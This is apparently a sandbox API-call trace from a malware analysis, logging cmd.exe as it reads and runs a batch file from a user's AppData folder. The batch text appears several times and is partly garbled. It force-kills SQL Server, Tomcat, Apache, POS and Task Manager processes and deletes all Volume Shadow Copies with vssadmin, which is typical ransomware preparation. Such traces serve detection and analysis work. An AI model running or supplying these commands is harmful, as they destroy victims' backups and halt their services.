mdm.exe /IM mdm.exe \nTASKKILL /F /IM MsDtsSrvr.exe /IM MsDtsSrvr.exe \nTASKKILL /F /IM msmdsrv.exe /IM msmdsrv.exe \nTASKKILL /F /IM MSSQLSERVER.exe /IM MSSQLSERVER.exe \nTASKKILL /F /IM oktell.ClientStarter4.exe /IM oktell.ClientStarter4.exe \nTASKKILL /F /IM oktell.HALMixerApp.exe /IM oktell.HALMixerApp.exe \nTASKKILL /F /IM OSPPSVC.exe /IM OSPPSVC.exe \nTASKKILL /F /IM PresentationFontCache.exe /IM PresentationFontCache.exe \nTASKKILL /F /IM SQL Server.exe /IM SQL Server.exe \nTASKKILL /F /IM SQLAGENT.exe /IM SQLAGENT.exe \nTASKKILL /F /IM sqlbrowser.exe /IM sqlbrowser.exe \nTASKKILL /F /IM sqlservr.exe /IM sqlservr.exe \nTASKKILL /F /IM sqlwriter.exe /IM sqlwriter.exe \nTASKKILL /F /IM srvany.exe /IM srvany.exe \nTASKKILL /F /IM tomcat7.exe /IM tomcat7.exe \nTASKKILL /F /IM tomcat7_x64.exe /IM tomcat7_x64.exe \nTASKKILL /F /IM torgsoft.exe /IM torgsoft.exe \nTASKKILL /F /IM TSAppServer.exe /IM TSAppServer.exe\nTASKKILL /F /IM p2.exe /IM p2.exe\nTASKKILL /F /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quietmgr.exe\nvssadmin.exe Delete Shadows /All /Quietskmgr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quiete /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietAll /Quiet") returned 1348 [0083.041] _get_osfhandle (_FileHandle=3) returned 0x78 [0083.041] GetFileType (hFile=0x78) returned 0x1 [0083.041] _get_osfhandle (_FileHandle=3) returned 0x78 [0083.041] SetFilePointer (in: hFile=0x78, lDistanceToMove=-1297, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x15f [0083.041] _tell (_FileHandle=3) returned 351 [0083.041] _close (_FileHandle=3) returned 0 [0083.041] _wcsicmp (_String1="TASKKILL", _String2="DIR") returned 16 [0083.041] _wcsicmp (_String1="TASKKILL", _String2="ERASE") returned 15 [0083.041] _wcsicmp (_String1="TASKKILL", _String2="DEL") returned 16 [0083.041] _wcsicmp (_String1="TASKKILL", _String2="TYPE") returned -24 [0083.041] _wcsicmp (_String1="TASKKILL", _String2="COPY") returned 17 [0083.042] _wcsicmp (_String1="TASKKILL", _String2="CD") returned 17 [0083.042] _wcsicmp (_String1="TASKKILL", _String2="CHDIR") returned 17 [0083.042] _wcsicmp (_String1="TASKKILL", _String2="RENAME") returned 2 [0083.042] _wcsicmp (_String1="TASKKILL", _String2="REN") returned 2 [0083.042] _wcsicmp (_String1="TASKKILL", _String2="ECHO") returned 15 [0083.042] _wcsicmp (_String1="TASKKILL", _String2="SET") returned 1 [0083.042] _wcsicmp (_String1="TASKKILL", _String2="PAUSE") returned 4 [0083.042] _wcsicmp (_String1="TASKKILL", _String2="DATE") returned 16 [0083.042] _wcsicmp (_String1="TASKKILL", _String2="TIME") returned -8 [0083.042] _wcsicmp (_String1="TASKKILL", _String2="PROMPT") returned 4 [0083.042] _wcsicmp (_String1="TASKKILL", _String2="MD") returned 7 [0083.042] _wcsicmp (_String1="TASKKILL", _String2="MKDIR") returned 7 [0083.042] _wcsicmp (_String1="TASKKILL", _String2="RD") returned 2 [0083.042] _wcsicmp (_String1="TASKKILL", _String2="RMDIR") returned 2 [0083.042] _wcsicmp (_String1="TASKKILL", _String2="PATH") returned 4 [0083.042] _wcsicmp (_String1="TASKKILL", _String2="GOTO") returned 13 [0083.042] _wcsicmp (_String1="TASKKILL", _String2="SHIFT") returned 1 [0083.042] _wcsicmp (_String1="TASKKILL", _String2="CLS") returned 17 [0083.042] _wcsicmp (_String1="TASKKILL", _String2="CALL") returned 17 [0083.042] _wcsicmp (_String1="TASKKILL", _String2="VERIFY") returned -2 [0083.042] _wcsicmp (_String1="TASKKILL", _String2="VER") returned -2 [0083.042] _wcsicmp (_String1="TASKKILL", _String2="VOL") returned -2 [0083.042] _wcsicmp (_String1="TASKKILL", _String2="EXIT") returned 15 [0083.042] _wcsicmp (_String1="TASKKILL", _String2="SETLOCAL") returned 1 [0083.042] _wcsicmp (_String1="TASKKILL", _String2="ENDLOCAL") returned 15 [0083.042] _wcsicmp (_String1="TASKKILL", _String2="TITLE") returned -8 [0083.042] _wcsicmp (_String1="TASKKILL", _String2="START") returned 1 [0083.042] _wcsicmp (_String1="TASKKILL", _String2="DPATH") returned 16 [0083.042] _wcsicmp (_String1="TASKKILL", _String2="KEYS") returned 9 [0083.042] _wcsicmp (_String1="TASKKILL", _String2="MOVE") returned 7 [0083.042] _wcsicmp (_String1="TASKKILL", _String2="PUSHD") returned 4 [0083.042] _wcsicmp (_String1="TASKKILL", _String2="POPD") returned 4 [0083.042] _wcsicmp (_String1="TASKKILL", _String2="ASSOC") returned 19 [0083.042] _wcsicmp (_String1="TASKKILL", _String2="FTYPE") returned 14 [0083.042] _wcsicmp (_String1="TASKKILL", _String2="BREAK") returned 18 [0083.042] _wcsicmp (_String1="TASKKILL", _String2="COLOR") returned 17 [0083.042] _wcsicmp (_String1="TASKKILL", _String2="MKLINK") returned 7 [0083.042] GetConsoleTitleW (in: lpConsoleTitle=0x1ef02c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0083.043] GetConsoleTitleW (in: lpConsoleTitle=0x1eedc0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0083.043] InitializeProcThreadAttributeList (in: lpAttributeList=0x1eec48, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1eed10 | out: lpAttributeList=0x1eec48, lpSize=0x1eed10) returned 1 [0083.043] UpdateProcThreadAttribute (in: lpAttributeList=0x1eec48, dwFlags=0x0, Attribute=0x60001, lpValue=0x1eed08, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1eec48, lpPreviousValue=0x0) returned 1 [0083.043] GetStartupInfoW (in: lpStartupInfo=0x1eec04 | out: lpStartupInfo=0x1eec04*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x8c4, hStdError=0x0)) [0083.045] CloseHandle (hObject=0x78) returned 1 [0083.045] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0083.045] GetEnvironmentStringsW () returned 0x4b3fa0* [0083.045] FreeEnvironmentStringsW (penv=0x4b3fa0) returned 1 [0083.045] WaitForSingleObject (hHandle=0x74, dwMilliseconds=0xffffffff) returned 0x0 [0083.506] GetExitCodeProcess (in: hProcess=0x74, lpExitCode=0x1eebe4 | out: lpExitCode=0x1eebe4*=0x80) returned 1 [0083.506] CloseHandle (hObject=0x74) returned 1 [0083.506] _vsnwprintf (in: _Buffer=0x1eed2c, _BufferCount=0x13, _Format="%08X", _ArgList=0x1eebf0 | out: _Buffer="00000080") returned 8 [0083.506] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1 [0083.506] GetEnvironmentStringsW () returned 0x4b3fa0* [0083.506] FreeEnvironmentStringsW (penv=0x4b3fa0) returned 1 [0083.506] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0083.506] GetEnvironmentStringsW () returned 0x4b3fa0* [0083.506] FreeEnvironmentStringsW (penv=0x4b3fa0) returned 1 [0083.506] DeleteProcThreadAttributeList (in: lpAttributeList=0x1eec48 | out: lpAttributeList=0x1eec48) [0083.506] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0083.506] SetConsoleMode (hConsoleHandle=0x8c4, dwMode=0x0) returned 0 [0083.506] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0083.506] GetConsoleMode (in: hConsoleHandle=0x8c4, lpMode=0x4a1141ac | out: lpMode=0x4a1141ac) returned 0 [0083.506] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0083.506] GetConsoleMode (in: hConsoleHandle=0xfffffffe, lpMode=0x4a1141b0 | out: lpMode=0x4a1141b0) returned 1 [0083.507] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0083.507] SetConsoleMode (hConsoleHandle=0xfffffffe, dwMode=0x7) returned 0 [0083.507] SetConsoleInputExeNameW () returned 0x1 [0083.507] GetConsoleOutputCP () returned 0x1b5 [0083.507] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a114260 | out: lpCPInfo=0x4a114260) returned 1 [0083.507] SetThreadUILanguage (LangId=0x0) returned 0x409 [0083.507] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaminghhfhqi2h.wln.bat" (normalized: "c:\\users\\kft6utqw\\appdata\\roaminghhfhqi2h.wln.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x1ef464, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0083.507] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0083.507] _get_osfhandle (_FileHandle=3) returned 0x74 [0083.507] SetFilePointer (in: hFile=0x74, lDistanceToMove=351, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x15f [0083.507] _get_osfhandle (_FileHandle=3) returned 0x74 [0083.508] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x15f [0083.508] ReadFile (in: hFile=0x74, lpBuffer=0x4a116640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x1ef448, lpOverlapped=0x0 | out: lpBuffer=0x4a116640*, lpNumberOfBytesRead=0x1ef448*=0x511, lpOverlapped=0x0) returned 1 [0083.508] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a116640, cbMultiByte=1297, lpWideCharStr=0x4a11c640, cchWideChar=8191 | out: lpWideCharStr="TASKKILL /F /IM GLDS.exe /IM GLDS.exe \nTASKKILL /F /IM grym.exe /IM grym.exe \nTASKKILL /F /IM httpd.exe /IM httpd.exe \nTASKKILL /F /IM igfxCUIService.exe /IM igfxCUIService.exe \nTASKKILL /F /IM iikoNet.Pos.WinService.exe /IM iikoNet.Pos.WinService.exe \nTASKKILL /F /IM mdm.exe /IM mdm.exe \nTASKKILL /F /IM MsDtsSrvr.exe /IM MsDtsSrvr.exe \nTASKKILL /F /IM msmdsrv.exe /IM msmdsrv.exe \nTASKKILL /F /IM MSSQLSERVER.exe /IM MSSQLSERVER.exe \nTASKKILL /F /IM oktell.ClientStarter4.exe /IM oktell.ClientStarter4.exe \nTASKKILL /F /IM oktell.HALMixerApp.exe /IM oktell.HALMixerApp.exe \nTASKKILL /F /IM OSPPSVC.exe /IM OSPPSVC.exe \nTASKKILL /F /IM PresentationFontCache.exe /IM PresentationFontCache.exe \nTASKKILL /F /IM SQL Server.exe /IM SQL Server.exe \nTASKKILL /F /IM SQLAGENT.exe /IM SQLAGENT.exe \nTASKKILL /F /IM sqlbrowser.exe /IM sqlbrowser.exe \nTASKKILL /F /IM sqlservr.exe /IM sqlservr.exe \nTASKKILL /F /IM sqlwriter.exe /IM sqlwriter.exe \nTASKKILL /F /IM srvany.exe /IM srvany.exe \nTASKKILL /F /IM tomcat7.exe /IM tomcat7.exe \nTASKKILL /F /IM tomcat7_x64.exe /IM tomcat7_x64.exe \nTASKKILL /F /IM torgsoft.exe /IM torgsoft.exe \nTASKKILL /F /IM TSAppServer.exe /IM TSAppServer.exe\nTASKKILL /F /IM p2.exe /IM p2.exe\nTASKKILL /F /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quietmgr.exe\nvssadmin.exe Delete Shadows /All /Quietskmgr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quiete /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietAll /Quiet") returned 1297 [0083.508] _get_osfhandle (_FileHandle=3) returned 0x74 [0083.508] GetFileType (hFile=0x74) returned 0x1 [0083.508] _get_osfhandle (_FileHandle=3) returned 0x74 [0083.508] SetFilePointer (in: hFile=0x74, lDistanceToMove=-1258, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x186 [0083.509] _tell (_FileHandle=3) returned 390 [0083.509] _close (_FileHandle=3) returned 0 [0083.509] _wcsicmp (_String1="TASKKILL", _String2="DIR") returned 16 [0083.509] _wcsicmp (_String1="TASKKILL", _String2="ERASE") returned 15 [0083.509] _wcsicmp (_String1="TASKKILL", _String2="DEL") returned 16 [0083.509] _wcsicmp (_String1="TASKKILL", _String2="TYPE") returned -24 [0083.509] _wcsicmp (_String1="TASKKILL", _String2="COPY") returned 17 [0083.509] _wcsicmp (_String1="TASKKILL", _String2="CD") returned 17 [0083.509] _wcsicmp (_String1="TASKKILL", _String2="CHDIR") returned 17 [0083.509] _wcsicmp (_String1="TASKKILL", _String2="RENAME") returned 2 [0083.509] _wcsicmp (_String1="TASKKILL", _String2="REN") returned 2 [0083.509] _wcsicmp (_String1="TASKKILL", _String2="ECHO") returned 15 [0083.509] _wcsicmp (_String1="TASKKILL", _String2="SET") returned 1 [0083.509] _wcsicmp (_String1="TASKKILL", _String2="PAUSE") returned 4 [0083.509] _wcsicmp (_String1="TASKKILL", _String2="DATE") returned 16 [0083.509] _wcsicmp (_String1="TASKKILL", _String2="TIME") returned -8 [0083.509] _wcsicmp (_String1="TASKKILL", _String2="PROMPT") returned 4 [0083.509] _wcsicmp (_String1="TASKKILL", _String2="MD") returned 7 [0083.509] _wcsicmp (_String1="TASKKILL", _String2="MKDIR") returned 7 [0083.509] _wcsicmp (_String1="TASKKILL", _String2="RD") returned 2 [0083.509] _wcsicmp (_String1="TASKKILL", _String2="RMDIR") returned 2 [0083.509] _wcsicmp (_String1="TASKKILL", _String2="PATH") returned 4 [0083.509] _wcsicmp (_String1="TASKKILL", _String2="GOTO") returned 13 [0083.509] _wcsicmp (_String1="TASKKILL", _String2="SHIFT") returned 1 [0083.509] _wcsicmp (_String1="TASKKILL", _String2="CLS") returned 17 [0083.509] _wcsicmp (_String1="TASKKILL", _String2="CALL") returned 17 [0083.509] _wcsicmp (_String1="TASKKILL", _String2="VERIFY") returned -2 [0083.509] _wcsicmp (_String1="TASKKILL", _String2="VER") returned -2 [0083.509] _wcsicmp (_String1="TASKKILL", _String2="VOL") returned -2 [0083.509] _wcsicmp (_String1="TASKKILL", _String2="EXIT") returned 15 [0083.509] _wcsicmp (_String1="TASKKILL", _String2="SETLOCAL") returned 1 [0083.509] _wcsicmp (_String1="TASKKILL", _String2="ENDLOCAL") returned 15 [0083.509] _wcsicmp (_String1="TASKKILL", _String2="TITLE") returned -8 [0083.509] _wcsicmp (_String1="TASKKILL", _String2="START") returned 1 [0083.509] _wcsicmp (_String1="TASKKILL", _String2="DPATH") returned 16 [0083.509] _wcsicmp (_String1="TASKKILL", _String2="KEYS") returned 9 [0083.509] _wcsicmp (_String1="TASKKILL", _String2="MOVE") returned 7 [0083.509] _wcsicmp (_String1="TASKKILL", _String2="PUSHD") returned 4 [0083.509] _wcsicmp (_String1="TASKKILL", _String2="POPD") returned 4 [0083.509] _wcsicmp (_String1="TASKKILL", _String2="ASSOC") returned 19 [0083.509] _wcsicmp (_String1="TASKKILL", _String2="FTYPE") returned 14 [0083.509] _wcsicmp (_String1="TASKKILL", _String2="BREAK") returned 18 [0083.510] _wcsicmp (_String1="TASKKILL", _String2="COLOR") returned 17 [0083.510] _wcsicmp (_String1="TASKKILL", _String2="MKLINK") returned 7 [0083.510] GetConsoleTitleW (in: lpConsoleTitle=0x1ef02c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0083.510] GetConsoleTitleW (in: lpConsoleTitle=0x1eedc0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0083.510] InitializeProcThreadAttributeList (in: lpAttributeList=0x1eec48, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1eed10 | out: lpAttributeList=0x1eec48, lpSize=0x1eed10) returned 1 [0083.510] UpdateProcThreadAttribute (in: lpAttributeList=0x1eec48, dwFlags=0x0, Attribute=0x60001, lpValue=0x1eed08, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1eec48, lpPreviousValue=0x0) returned 1 [0083.510] GetStartupInfoW (in: lpStartupInfo=0x1eec04 | out: lpStartupInfo=0x1eec04*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x8c4, hStdError=0x0)) [0083.512] CloseHandle (hObject=0x74) returned 1 [0083.512] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0084.009] _vsnwprintf (in: _Buffer=0x1eed2c, _BufferCount=0x13, _Format="%08X", _ArgList=0x1eebf0 | out: _Buffer="00000080") returned 8 [0084.009] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1 [0084.009] FreeEnvironmentStringsW (penv=0x4a67d8) returned 1 [0084.009] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0084.009] FreeEnvironmentStringsW (penv=0x4a67d8) returned 1 [0084.009] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0084.009] SetConsoleMode (hConsoleHandle=0x8c4, dwMode=0x0) returned 0 [0084.009] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0084.009] GetConsoleMode (in: hConsoleHandle=0x8c4, lpMode=0x4a1141ac | out: lpMode=0x4a1141ac) returned 0 [0084.009] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0084.009] GetConsoleMode (in: hConsoleHandle=0xfffffffe, lpMode=0x4a1141b0 | out: lpMode=0x4a1141b0) returned 1 [0084.009] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0084.009] SetConsoleMode (hConsoleHandle=0xfffffffe, dwMode=0x7) returned 0 [0084.010] SetConsoleInputExeNameW () returned 0x1 [0084.010] GetConsoleOutputCP () returned 0x1b5 [0084.010] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a114260 | out: lpCPInfo=0x4a114260) returned 1 [0084.010] SetThreadUILanguage (LangId=0x0) returned 0x409 [0084.010] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaminghhfhqi2h.wln.bat" (normalized: "c:\\users\\kft6utqw\\appdata\\roaminghhfhqi2h.wln.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x1ef464, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0084.010] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0084.010] _get_osfhandle (_FileHandle=3) returned 0x78 [0084.010] SetFilePointer (in: hFile=0x78, lDistanceToMove=390, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x186 [0084.010] _get_osfhandle (_FileHandle=3) returned 0x78 [0084.010] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x186 [0084.010] ReadFile (in: hFile=0x78, lpBuffer=0x4a116640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x1ef448, lpOverlapped=0x0 | out: lpBuffer=0x4a116640*, lpNumberOfBytesRead=0x1ef448*=0x4ea, lpOverlapped=0x0) returned 1 [0084.010] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a116640, cbMultiByte=1258, lpWideCharStr=0x4a11c640, cchWideChar=8191 | out: lpWideCharStr="TASKKILL /F /IM grym.exe /IM grym.exe \nTASKKILL /F /IM httpd.exe /IM httpd.exe \nTASKKILL /F /IM igfxCUIService.exe /IM igfxCUIService.exe \nTASKKILL /F /IM iikoNet.Pos.WinService.exe /IM iikoNet.Pos.WinService.exe \nTASKKILL /F /IM mdm.exe /IM mdm.exe \nTASKKILL /F /IM MsDtsSrvr.exe /IM MsDtsSrvr.exe \nTASKKILL /F /IM msmdsrv.exe /IM msmdsrv.exe \nTASKKILL /F /IM MSSQLSERVER.exe /IM MSSQLSERVER.exe \nTASKKILL /F /IM oktell.ClientStarter4.exe /IM oktell.ClientStarter4.exe \nTASKKILL /F /IM oktell.HALMixerApp.exe /IM oktell.HALMixerApp.exe \nTASKKILL /F /IM OSPPSVC.exe /IM OSPPSVC.exe \nTASKKILL /F /IM PresentationFontCache.exe /IM PresentationFontCache.exe \nTASKKILL /F /IM SQL Server.exe /IM SQL Server.exe \nTASKKILL /F /IM SQLAGENT.exe /IM SQLAGENT.exe \nTASKKILL /F /IM sqlbrowser.exe /IM sqlbrowser.exe \nTASKKILL /F /IM sqlservr.exe /IM sqlservr.exe \nTASKKILL /F /IM sqlwriter.exe /IM sqlwriter.exe \nTASKKILL /F /IM srvany.exe /IM srvany.exe \nTASKKILL /F /IM tomcat7.exe /IM tomcat7.exe \nTASKKILL /F /IM tomcat7_x64.exe /IM tomcat7_x64.exe \nTASKKILL /F /IM torgsoft.exe /IM torgsoft.exe \nTASKKILL /F /IM TSAppServer.exe /IM TSAppServer.exe\nTASKKILL /F /IM p2.exe /IM p2.exe\nTASKKILL /F /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quietmgr.exe\nvssadmin.exe Delete Shadows /All /Quietskmgr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quiete /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietAll /Quiet") returned 1258 [0084.011] _get_osfhandle (_FileHandle=3) returned 0x78 [0084.011] GetFileType (hFile=0x78) returned 0x1 [0084.011] _get_osfhandle (_FileHandle=3) returned 0x78 [0084.011] SetFilePointer (in: hFile=0x78, lDistanceToMove=-1219, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1ad [0084.011] _tell (_FileHandle=3) returned 429 [0084.011] _close (_FileHandle=3) returned 0 [0084.011] _wcsicmp (_String1="TASKKILL", _String2="DIR") returned 16 [0084.011] _wcsicmp (_String1="TASKKILL", _String2="ERASE") returned 15 [0084.011] _wcsicmp (_String1="TASKKILL", _String2="DEL") returned 16 [0084.011] _wcsicmp (_String1="TASKKILL", _String2="TYPE") returned -24 [0084.011] _wcsicmp (_String1="TASKKILL", _String2="COPY") returned 17 [0084.011] _wcsicmp (_String1="TASKKILL", _String2="CD") returned 17 [0084.011] _wcsicmp (_String1="TASKKILL", _String2="CHDIR") returned 17 [0084.011] _wcsicmp (_String1="TASKKILL", _String2="RENAME") returned 2 [0084.011] _wcsicmp (_String1="TASKKILL", _String2="REN") returned 2 [0084.011] _wcsicmp (_String1="TASKKILL", _String2="ECHO") returned 15 [0084.011] _wcsicmp (_String1="TASKKILL", _String2="SET") returned 1 [0084.011] _wcsicmp (_String1="TASKKILL", _String2="PAUSE") returned 4 [0084.011] _wcsicmp (_String1="TASKKILL", _String2="DATE") returned 16 [0084.011] _wcsicmp (_String1="TASKKILL", _String2="TIME") returned -8 [0084.012] _wcsicmp (_String1="TASKKILL", _String2="PROMPT") returned 4 [0084.012] _wcsicmp (_String1="TASKKILL", _String2="MD") returned 7 [0084.012] _wcsicmp (_String1="TASKKILL", _String2="MKDIR") returned 7 [0084.012] _wcsicmp (_String1="TASKKILL", _String2="RD") returned 2 [0084.012] _wcsicmp (_String1="TASKKILL", _String2="RMDIR") returned 2 [0084.012] _wcsicmp (_String1="TASKKILL", _String2="PATH") returned 4 [0084.012] _wcsicmp (_String1="TASKKILL", _String2="GOTO") returned 13 [0084.012] _wcsicmp (_String1="TASKKILL", _String2="SHIFT") returned 1 [0084.012] _wcsicmp (_String1="TASKKILL", _String2="CLS") returned 17 [0084.012] _wcsicmp (_String1="TASKKILL", _String2="CALL") returned 17 [0084.012] _wcsicmp (_String1="TASKKILL", _String2="VERIFY") returned -2 [0084.012] _wcsicmp (_String1="TASKKILL", _String2="VER") returned -2 [0084.012] _wcsicmp (_String1="TASKKILL", _String2="VOL") returned -2 [0084.012] _wcsicmp (_String1="TASKKILL", _String2="EXIT") returned 15 [0084.012] _wcsicmp (_String1="TASKKILL", _String2="SETLOCAL") returned 1 [0084.012] _wcsicmp (_String1="TASKKILL", _String2="ENDLOCAL") returned 15 [0084.012] _wcsicmp (_String1="TASKKILL", _String2="TITLE") returned -8 [0084.012] _wcsicmp (_String1="TASKKILL", _String2="START") returned 1 [0084.012] _wcsicmp (_String1="TASKKILL", _String2="DPATH") returned 16 [0084.012] _wcsicmp (_String1="TASKKILL", _String2="KEYS") returned 9 [0084.012] _wcsicmp (_String1="TASKKILL", _String2="MOVE") returned 7 [0084.012] _wcsicmp (_String1="TASKKILL", _String2="PUSHD") returned 4 [0084.012] _wcsicmp (_String1="TASKKILL", _String2="POPD") returned 4 [0084.012] _wcsicmp (_String1="TASKKILL", _String2="ASSOC") returned 19 [0084.012] _wcsicmp (_String1="TASKKILL", _String2="FTYPE") returned 14 [0084.012] _wcsicmp (_String1="TASKKILL", _String2="BREAK") returned 18 [0084.012] _wcsicmp (_String1="TASKKILL", _String2="COLOR") returned 17 [0084.012] _wcsicmp (_String1="TASKKILL", _String2="MKLINK") returned 7 [0084.012] GetConsoleTitleW (in: lpConsoleTitle=0x1ef02c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0084.012] GetConsoleTitleW (in: lpConsoleTitle=0x1eedc0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0084.012] InitializeProcThreadAttributeList (in: lpAttributeList=0x1eec48, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1eed10 | out: lpAttributeList=0x1eec48, lpSize=0x1eed10) returned 1 [0084.013] UpdateProcThreadAttribute (in: lpAttributeList=0x1eec48, dwFlags=0x0, Attribute=0x60001, lpValue=0x1eed08, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1eec48, lpPreviousValue=0x0) returned 1 [0084.013] GetStartupInfoW (in: lpStartupInfo=0x1eec04 | out: lpStartupInfo=0x1eec04*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x8c4, hStdError=0x0)) [0084.015] CloseHandle (hObject=0x78) returned 1 [0084.015] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0084.015] FreeEnvironmentStringsW (penv=0x4a67d8) returned 1 [0084.015] WaitForSingleObject (hHandle=0x74, dwMilliseconds=0xffffffff) returned 0x0 [0084.494] GetExitCodeProcess (in: hProcess=0x74, lpExitCode=0x1eebe4 | out: lpExitCode=0x1eebe4*=0x80) returned 1 [0084.494] CloseHandle (hObject=0x74) returned 1 [0084.494] _vsnwprintf (in: _Buffer=0x1eed2c, _BufferCount=0x13, _Format="%08X", _ArgList=0x1eebf0 | out: _Buffer="00000080") returned 8 [0084.495] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1 [0084.495] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0084.495] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0084.495] SetConsoleMode (hConsoleHandle=0x8c4, dwMode=0x0) returned 0 [0084.495] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0084.495] GetConsoleMode (in: hConsoleHandle=0x8c4, lpMode=0x4a1141ac | out: lpMode=0x4a1141ac) returned 0 [0084.495] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0084.495] GetConsoleMode (in: hConsoleHandle=0xfffffffe, lpMode=0x4a1141b0 | out: lpMode=0x4a1141b0) returned 1 [0084.495] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0084.495] SetConsoleMode (hConsoleHandle=0xfffffffe, dwMode=0x7) returned 0 [0084.495] 